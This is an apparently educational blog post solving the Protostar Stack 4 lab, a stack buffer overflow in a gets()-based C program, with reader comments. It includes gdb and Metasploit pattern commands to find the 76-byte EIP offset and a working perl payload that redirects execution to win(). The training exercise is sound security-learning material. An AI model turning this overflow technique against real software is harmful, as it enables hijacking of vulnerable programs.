Friday, December 16, 2011

Exploit Exercises - Protostar Stack 4

With this challenge, I think things really start to get fun, and more real-world. We are provided with the following C program:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
 printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
 char buffer[64];

 gets(buffer);
}
This C app will simply read a value from user input, and store it in "buffer". We then need to get it to somehow execute "win()".

To get started, just like in the last challenge, I used objdump to find out where "win()" was located:
user@protostar:/opt/protostar/bin$ objdump -d stack4
...
080483f4 <win>:
...
Because we're going to need to modify the EIP of this program, we need to find where it is. You may want to think that it would be immediately after the 64 bytes of the "buffer" array, however this is often times extra space due to null terminators, return values, and more. So I use some tools from the Metasploit Framework on another machine to find the EIP.

First, I generate a unique string, using the pattern_create tool:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Then I execute the vulnerable program in gdb, feeding it the unique string to the input:
user@protostar:/opt/protostar/bin$ gdb --quiet ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) run
Starting program: /opt/protostar/bin/stack4
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
Now I know that the EIP contains the value 0x63413563. I can go back to the Metasploit tools and run the pattern_offset tool to tell me the offset of the EIP:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x63413563
76
This tells me that unlike the 64 characters I would have thought, it's actually offset by 76 characters. So now we just have to get the address of "win()" (0x080483f4) into the EIP at 76 bytes offset:
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
There you have it. We get the execution from "win()".

5 comments:

  1. I understood that this time you can't get exactly where the win function is located in the stack. However I din't understand what you do with Metasploit, can you explain it further please?

    I always try to solve the level without hints but all your work is very useful to me!

    ReplyDelete
    Replies
    1. Sure!

      Metasploit has a couple of really useful utilities built in. The ones I find myself using the most, are pattern_create.rb and pattern_offset.rb.

      Typically, when trying to find the EIP offset of an application, you may try using binary analysis, where if your buffer is 500, you'd send 250 "A"s and 250 "B"s. Then based on what the EIP said, you'd shrink one by half, until you narrow it down to the 4 bytes in the EIP.

      To get around this, you can just generate a completely unique string, in such a way that every 4 byte segment is unique. Then, when you see the EIP, you can trace it down to a specific place in your string.

      In my example, I knew the offset would be at least 64, and probably under 128 length, since the buffer size is 64. So I had the pattern_create.rb create me a unique string 128 characters long.

      Then, when the program crashed, the EIP showed "0x63413563". If you convert this value to the ascii digits, you get "c5Ac". This is 76 characters into the unique string, if you search manually.

      However, instead of searching manually, because it is horrible when you're doing 5000 character long buffers, you can use pattern_offset.rb, passing it the EIP value you had. It can then show you the offset in the string.

      So once you know that your offset is 76 characters/bytes, you know the first 76 bytes don't matter, but the next 4 will control your EIP, and you want that to point to your shellcode, or the address of another function in our case.

      Hopefully that helps some. :)

      Delete
  2. Yep it helps a lot indeed. Just another question: why in the previous example we didn't need to find out the exact EIP value and now we have to? I mean, in both of them we overwrite the EIP, right?

    ReplyDelete
    Replies
    1. In the previous problem, the "fp" variable was the next value on the stack, after the 64 byte array. So we just overwrote it with the address to win(), which was called. We didn't really overwrite the EIP in that example. That's why we didn't need to calculate an offset.

      Delete
  3. You're right, I got it..thanks a lot (:

    ReplyDelete

Popular

Recent

Comments